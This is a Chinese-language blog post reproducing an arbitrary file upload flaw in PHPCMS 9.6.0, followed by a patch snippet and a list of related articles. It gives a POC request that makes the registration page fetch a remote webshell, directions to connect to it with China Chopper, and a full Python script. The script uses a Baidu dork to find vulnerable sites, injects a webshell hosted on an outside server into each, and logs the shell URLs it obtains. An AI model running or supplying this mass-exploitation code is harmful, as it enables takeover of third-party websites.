这个漏洞是某司的一位前辈发出来的,这里只是复现一下而已。

原文地址:https://www.t00ls.net/thread-39226-1-1.html

首先我们本地搭建一个phpcms9.6.0的环境

下载地址:http://www.mycodes.net/43/3365.htm

点击注册页面,进行抓包

在本地创建一个txt文本,写入一句话木马

POC

siteid=1&modelid=11&username=seven1&password=seven123456&email=seven@qq.com&info[content]=<img src=http://127.0.0.1/333.txt?.php#.jpg>&dosubmit=1&protocol=

修改抓包内容,添加POC

菜刀链接

---------------------------------------------------------------------------------------------------------------------------------

也可以用火狐插件执行POC

附上Akkuman 大牛写的批量脚本

说明:

依赖库的安装pip install requests

 # -*- coding:utf-8 -*-

 '''
----------------------
Author : Akkuman
Blog : hacktech.cn
----------------------
''' import requests
from bs4 import BeautifulSoup
# from urlparse import unquote //Python2
# from urlparse import urlparse //Python2
from urllib.parse import quote
from urllib.parse import urlparse
from random import Random chars = 'qwertyuiopasdfghjklzxcvbnm0123456789' headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0"
} def parseBaidu(keyword, pagenum):
keywordsBaseURL = 'https://www.baidu.com/s?wd=' + str(quote(keyword)) + '&oq=' + str(quote(keyword)) + '&ie=utf-8' + '&pn='
pnum = 0
while pnum <= int(pagenum):
baseURL = keywordsBaseURL + str(pnum*10)
try:
request = requests.get(baseURL, headers=headers)
soup = BeautifulSoup(request.text, "html.parser")
for a in soup.select('div.c-container > h3 > a'):
url = requests.get(a['href'], headers=headers, timeout=7).url
yield url
except:
yield None
finally:
pnum += 1 def saveShell(shellUrl):
with open("webShell.txt","a+") as f:
f.write("[*]%s\n" % shellUrl) def main():
data = {
"siteid": "",
"modelid": "",
"username": "akkumandsad",
"password": "",
"email": "akkakkumafa@qq.com",
# 如果想使用回调的可以使用http://file.codecat.one/oneword.txt,一句话地址为.php后面加上e=YXNzZXJ0,普通一句话http://file.codecat.one/normalOneWord.txt
"info[content]": "<img src=http://7xusrl.com1.z0.glb.clouddn.com/bypassdog.txt?.php#.jpg>",
"dosubmit": "",
"protocol": "",
}
for crawlUrl in parseBaidu("inurl:index.php?m=member&c=index&a=register&siteid=1", 10):
try:
if crawlUrl:
rand_name = chars[Random().randint(0, len(chars) - 1)]
data["username"] = "akkuman_%s" % rand_name
data["email"] = "akkuman_%s@qq.com" % rand_name
host = urlparse(crawlUrl).scheme + "://" + urlparse(crawlUrl).hostname
url = host + "/index.php?m=member&c=index&a=register&siteid=1"
htmlContent = requests.post(url, data=data, timeout=10)
successUrl = ""
if "MySQL Error" in htmlContent.text and "http" in htmlContent.text:
successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php"
print("[*]Shell : %s" % successUrl)
saveShell(successUrl)
if successUrl == "":
print("[x]Failed : Failed to getshell.")
else:
continue
except:
print("Request Error") if __name__ == '__main__':
main()

------------------------------------------------------------------------------------------------------------------------------------------------------------------

修复方法:

打开phpcms\libs\classes\attachment.class.php

在168行代码下面添加如下代码

 if(!stripos($ext,$filename)){
$arryfilename = explode("|", $ext);
foreach($arryfilename as $n=>$fn){
if($fn){
$filename = $fn;
continue;
}
}
}

【渗透测试】PHPCMS9.6.0 任意文件上传漏洞+修复方案的更多相关文章

  1. PHPcms9.6.0任意文件上传漏洞直接getshell 利用教程

    对于PHPcms9.6.0 最新版漏洞,具体利用步骤如下: 首先我们在本地搭建一个php环境,我这里是appserv或者使用phpnow (官网下载地址:http://servkit.org/) (只 ...

  2. 最新PHPcms9.6.0 任意文件上传漏洞

    在用户注册处抓包: 然后发送到repeater POC: siteid=&modelid=&username=z1aaaac121&password=aasaewee311as ...

  3. phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399)

    phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399) 一.漏洞描述 PHPCMS 9.6.0版本中的libs/classes/attachment.class.php文件存在漏洞 ...

  4. dedecmsV5.7 任意文件上传漏洞修复

    问题文件:在/include/dialog/select_soft_post.php文件 解决方法: 先找到这个文件/include/dialog/select_soft_post.php,找到大概7 ...

  5. 【代码审计】JTBC(CMS)_PHP_v3.0 任意文件上传漏洞分析

      0x00 环境准备 JTBC(CMS)官网:http://www.jtbc.cn 网站源码版本:JTBC_CMS_PHP(3.0) 企业版 程序源码下载:http://download.jtbc. ...

  6. phpcms v9.6.0任意文件上传漏洞

    距离上一次写博客已经过去很长一段时间了,最近也一直在学习,只是并没有分享出来  越来越发现会的东西真的太少了,继续努力吧. 中午的时候遇到了一个站点,看到群里好多人都在搞,自己就也去试了试,拿下来后发 ...

  7. PHPCMS v9.6.0 任意文件上传漏洞分析

    引用源:http://paper.seebug.org/273/ 配置了php debug的环境,并且根据这篇文章把流程走了一遍,对phpstorm的debug熟练度+1(跟pycharm一样) 用户 ...

  8. 【代码审计】QYKCMS_v4.3.2 任意文件上传漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...

  9. 【代码审计】CLTPHP_v5.5.3 前台任意文件上传漏洞分析

      0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...

随机推荐

  1. Gridview 重建表头/单击单元格弹出对话框/改变单元格背景色

    整理工作~ 完整的代码在GitHub上, 路径: 项目背景:追踪某个issue,并且记录每天的状态. 要求:1.点击日期就能更改,并且用颜色标志不同的状态 2.增加按钮可关闭issue 3.布局要求日 ...

  2. Oralce Plsql 中文显示乱码问题无需修改注册表完美解决

    此方法在其它版系统也可以解决 win10-64 plsql oracle 11g绿色版客户端 错误现象: 因为oracle用的是绿色版,无法设置注册表,尝试以下方法. 解决方法: 1.在plsql中查 ...

  3. uploadify上传图片的类型错误的解决办法

    大家在做开发的过程中,相信很多人都会使用到uploadify插件来上传图片,但是这个插件也有不完美的地方. 我曾多次遇到过这样一个问题:上传的图片类型明明是没有问题的,但是在上传的时候总是会报错:图片 ...

  4. Dashboard登录成功后 RuntimeError: Unable to create a new session key.

    openstack按照官网docs部署horizon后,使用admin账号密码登录,但网页提示未知错误. 查看/var/log/httpd/error_log 提示这个:RuntimeError: U ...

  5. line-height属性总结

     line-height属性的继承性: 子元素不设置line-height时, 在父元上设置带单位的值和百分比时会先计算父元素的line-height大小然后继承过来,在父元素上设置无单位的数值时,子 ...

  6. juddi学习一

    一.下载juddi 地址:https://mirrors.tuna.tsinghua.edu.cn/apache/juddi/juddi/3.3.4/ 二. 解压下载文件打开目录下的 进入bin目录, ...

  7. Linux网络那点事

    跨平台系列汇总:http://www.cnblogs.com/dunitian/p/4822808.html#linux 之前的之前说过网络自连接的配置(CentOS服务器网络配置:http://ww ...

  8. 【Egret】中tree组件使用案例

    Egret中tree组件使用案例,包含(文本过多时,自动换行功能) 下面代码结合http://bbs.egret.com/forum.php?mod=viewthread&tid=19028& ...

  9. H5_background-clip(css3——裁剪)

    利用background-clip实现此效果 在body里面只需要写:<div class="box"></div> 在样式里面写上: .box{ widt ...

  10. hive metastore Server 出现异常

    报错信息: 常见问题分析: 1 hive metastore 数据库中用户名或者密码出现更改,并且重启了hive,导致生效但是CDH下没有及时更改hive metastore设置密码 2 Mysql ...